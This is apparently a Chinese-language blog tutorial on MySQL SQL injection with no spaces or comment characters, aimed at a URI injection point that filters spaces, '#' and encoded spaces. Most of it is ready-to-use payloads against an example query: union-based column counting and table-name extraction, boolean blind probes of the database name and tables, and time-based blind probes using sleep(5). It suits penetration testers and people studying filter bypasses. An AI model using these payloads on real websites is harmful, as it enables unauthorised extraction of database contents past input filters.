MySQL无空格注入

背景

有很多的常规手法

比如

  • 那个什么wtswaf不让存在空格可以用+号代替

  • 很多时候也可以用/**/代替空格

在看代码的过程中,不止一次看到如下类型的代码了

image-20210525171116026

$_SERVER中的URI存在注入,这个时候就存在一些限制

  • 不能存在空格,#
  • %20+%23等都不能解码
  • /**/会被分割

所以这里记录一下上面这些限制下,完全不用空格的payload

条件

由于设计的这个场景,不能用任何的注释符号,所以只能求闭合

全程以下面的sql语句为例

1
select * from sc_language where language_url='$a' and  language_open=1

$a为注入点

联合查询

首先就是联合查询了

  • 注入点后面无参数,且是整形注入
  • 注入点后面存在其他条件

解释

  • 整形无其他条件,比较简单
  • 存在其他条件的时候无法闭合,必须用注释,没法用的时候呢
    • 定界符;

判断列数

以有条件为例。payload

这里是堆叠注入,非堆叠大概只能用在整形的后面了

1
'union(select(1),(2),(3),(4),(5),(6),(7),(8),(9));select'1'from(sc_language)where(1)or'1

image-20210525174508493

查询表名

1
'union(select(1),(table_name),(3),(4),(5),(6),(7),(8),(9)from(information_schema.tables)where(table_schema='mycms'));select'1'from(sc_language)where(1)or'1

image-20210525175045877

其他数据自行修改

布尔盲注

注意的就是,让我们的payload成为唯一变量

确定数据库名长度

1
en'and(length(database())=5)and'1

image-20210525175533070

查询表名

1
en'and(select(ascii(substr(group_concat(table_name),1,1))>1)from(information_schema.columns)where(table_schema='mycms'))and'1

image-20210525175748454

其他数据自行修改

时间盲注

这种场景下,估计时间盲注是跑不了了

获取数据库名

1
'or(if((ascii(substr(database(),1,1))>1),sleep(5),0))and'1

image-20210525180029880

获取表名

1
'or(if((select(ascii(substr(group_concat(table_name),1,1))>1)from(information_schema.columns)where(table_schema='mycms')),sleep(5),0))and'1

image-20210525180219580

end